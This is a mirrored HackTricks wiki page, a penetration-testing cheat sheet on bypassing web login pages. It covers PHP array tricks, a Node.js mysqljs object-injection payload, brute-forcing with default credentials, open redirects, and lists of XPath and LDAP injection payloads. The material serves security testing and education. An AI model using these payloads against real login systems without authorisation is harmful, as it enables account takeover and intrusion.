mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
136 lines
7.4 KiB
Markdown
136 lines
7.4 KiB
Markdown
# Login Bypass
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## **Bypass regular login**
|
||
|
||
If you find a login page, here you can find some techniques to try to bypass it:
|
||
|
||
* Check for **comments** inside the page (scroll down and to the right?)
|
||
* Check if you can **directly access the restricted pages**
|
||
* Check to **not send the parameters** (do not send any or only 1)
|
||
* Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||
* **Change content type to json** and send json values (bool true included)
|
||
* If you get a response saying that POST is not supported you can try to send the **JSON in the body but with a GET request** with `Content-Type: application/json`
|
||
* Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||
* Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true.
|
||
* If you can send a JSON object you can send `"password":{"password": 1}` to bypass the login.
|
||
* Remember that to bypass this login you still need to **know and send a valid username**.
|
||
* **Adding `"stringifyObjects":true`** option when calling `mysql.createConnection` will eventually b**lock all unexpected behaviours when `Object` is passed** in the parameter.
|
||
* Check credentials:
|
||
* [**Default credentials**](../../generic-hacking/brute-force.md#default-credentials) of the technology/platform used
|
||
* **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords).
|
||
* Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password**
|
||
* **Brute-force** using a bigger **dictionary (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
|
||
|
||
### SQL Injection authentication bypass
|
||
|
||
[Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/#authentication-bypass).
|
||
|
||
In the following page you can find a **custom list to try to bypass login** via SQL Injections:
|
||
|
||
{% content-ref url="sql-login-bypass.md" %}
|
||
[sql-login-bypass.md](sql-login-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
### No SQL Injection authentication bypass
|
||
|
||
[Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||
|
||
As the NoSQL Injections requires to change the parameters value, you will need to test them manually.
|
||
|
||
### XPath Injection authentication bypass
|
||
|
||
[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)
|
||
|
||
```
|
||
' or '1'='1
|
||
' or ''='
|
||
' or 1]%00
|
||
' or /* or '
|
||
' or "a" or '
|
||
' or 1 or '
|
||
' or true() or '
|
||
'or string-length(name(.))<10 or'
|
||
'or contains(name,'adm') or'
|
||
'or contains(.,'adm') or'
|
||
'or position()=2 or'
|
||
admin' or '
|
||
admin' or '1'='2
|
||
```
|
||
|
||
### LDAP Injection authentication bypass
|
||
|
||
[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)
|
||
|
||
```
|
||
*
|
||
*)(&
|
||
*)(|(&
|
||
pwd)
|
||
*)(|(*
|
||
*))%00
|
||
admin)(&)
|
||
pwd
|
||
admin)(!(&(|
|
||
pwd))
|
||
admin))(|(|
|
||
```
|
||
|
||
### Remember Me
|
||
|
||
If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**.
|
||
|
||
### Redirects
|
||
|
||
Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web.
|
||
|
||
## Other Checks
|
||
|
||
* Check if you can **enumerate usernames** abusing the login functionality.
|
||
* Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** `<input autocomplete="false"`
|
||
|
||
## Automatic Tools
|
||
|
||
* [HTLogin](https://github.com/akinerkisa/HTLogin)
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|